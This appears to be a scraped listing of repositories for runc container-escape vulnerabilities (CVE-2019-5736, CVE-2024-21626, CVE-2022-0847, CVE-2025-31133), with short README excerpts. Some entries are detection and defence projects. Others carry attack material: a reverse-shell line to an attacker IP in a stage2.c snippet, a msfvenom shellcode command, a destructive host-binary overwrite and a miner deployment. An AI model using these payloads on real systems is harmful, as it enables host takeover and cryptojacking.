Learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc Overview A proof-of-concept demonstration and learning environment for CVE-2025-31133 , a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive ho...

CVE-2019-5736

Usage Edit HOST inside payload.c, compile with make. Start nc and run pwn.sh inside the container. Notes This exploit is destructive: it'll overwrite /usr/bin/docker-runc binary on the host with the payload. It'll also overwrite /bin/sh inside the container. Tested only on Debian 9. No attempts...

cve-2019-5736-exp

cve-2019-5736-exp This is a proof-of-concept PoC exploit for the CVE-2019-5736 vulnerability in runc, the runtime used in Docker. Disclaimer I undertook this project as an exercise, for educational reasons and for fun. It should go without saying that I do not support unethical and/or illegal...

CVE-2022-0847-container-escape

CVE-2022-0847 A simple exploit that uses dirtypipe to inject shellcode into runC entrypoint to implement container escapes. Usage Produce base64 encoded shellcode using msf: $ msfvenom -p linux/x64/exec CMD="" -f base64 Compile and run in the container, the overwritten filename is the bin that ru...

Docker-Escape-Miner

Using a published Docker exploit to gain root access and run a bitcoin mining script This uses two open source libraries: nightminer by @ricmoo for python bitcoin mining RunC-CVE-2019-5736 by @twistlock for the docker escape System Requirements This was tested on Kali Linux, with Docker version...

CVE-2024-21626

about Steps to reproduce ensure kernal = 5.4,4.19,.. and there is openat2 in /proc/kallsyms. v1.0.0-rc93= runc =1.1.11 $ grep openat2 /proc/kallsyms ffffffffa64290d0 T pfxauditopenat2how ffffffffa64290e0 T auditopenat2how ffffffffa666de90 t pfxdosysopenat2 ffffffffa666dea0 t dosysopenat2...

CVE-2026-D0cker

CVE-2026-Pending: Container Escape via runC maskPaths Vunlerability Severity: Critical CVSS 9.8 Component: opencontainers/runc libcontainer Vulnerability Type: CWE-59: Improper Link Resolution Before File Access 'Link Following' 🚨 Executive Summary A critical vulnerability exists in runc's...

cve-2024-21626-runc-1.1.11-escape

CVE-2024-21626 - runc Leaky Vessels Overview Field| Detail ---|--- CVE| CVE-2024-21626 Affected Component| runc ≤ 1.1.11 Vulnerability Class| Container escape via file descriptor leak Nickname| Leaky Vessels Root Cause runc leaks an internal file descriptor typically fd/7 pointing to the host...

cve-2024-21626

CVE-2024-21626 Overview This repository contains code examples for an app vulnerable to CVE-2024-21626 as well as an eBPF gadget to detect exploitation attempts. This repoistory was created as part of this blog post. The gadget program used to detect this vulnerability is for demonstration purpos...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In this project, we found a recent attack through the malicious container and implemented a security mechanism to stop it. Introduction Cyber-attacks have become a critical challenge for both companies and small businesses, largely due to vulnerabilitie...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo for the LT at Container Runtime Meetup 5. This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited. Slides Container Runtime Meetup 5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626 Loggin...

cve-2019-5736-poc

CVE-2019-5736 Proof of Concept This appends a string to the host runc binary. Bring your own payload see stage2.c. To run: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736: runc Container Breakout Deconstruction Advanced Purple Teaming & Forensic Analysis of Host Root Escape 🛡️ Overview This repository contains a high-fidelity deconstruction and Proof-of-Concept PoC for...

CVE-2024-21626-old-docker-versions

Container escape vulnerability in old runc components CVE-2024-21626 During my analysis about CVE-2024-21626 I found that other older docker components are vulnerable about fd leakage that is not mentioned in the security advisory GHSA-xr7r-f8xq-vfvv. Read my full article for detailed explanation...

CVE-2019-5736-Custom-Runtime

CVE-2019-5736-Custom-Sandbox General CVE-2019-5736 implemented using a shallow, self-written container runtime to understand the exploit. Exploit is based on and almost all copied from the runc-poc by twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/maliciousimagePOC Contain...

CVE-2025-31133

CVE-2025-31133 PoC Exploit This document explains the functionality of the provided Proof-of-Concept PoC script for the runc vulnerability CVE-2025-31133. Summary Vulnerability: CVE-2025-31133 - A symbolic link race condition in runc's maskedPaths handling. Impact: A malicious container can bypas...

CVE-2024-21626

Usage: 1.git clone https://github.com/cdxiaodong/CVE-2024-21626 2.docker-compose up Verification: If you can obtain the host's /etc/passwd, the vulnerability exists. Environment: runc: =v1.0.0-rc93,=1.1.11 Attack details & principle: In affected versions of runc, during initialization, some...

container-escape-ebpf

White Paper https://www.scs-europe.net/dlib/2026/2026-0321.html Assumptions Host runs vulnerable version of runc: For CVE-2025-31133: 1.2.7 and below, 1.3.0-rc.1 through 1.3.2, 1.4.0-rc.1 and 1.4.0-rc.2. For CVE-2024-21626: 1.0.0-rc93 through 1.1.11. Unprivileged user is able to create containers...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2024-21626

PoC of CVE-2024-21626 Read my full article for detailed explanation here. Related article While investigating CVE-2024–21626 , I discovered an overlooked vulnerability in older versions of Docker and runC. To learn more about what I found, read the following article: “Exploring Hidden...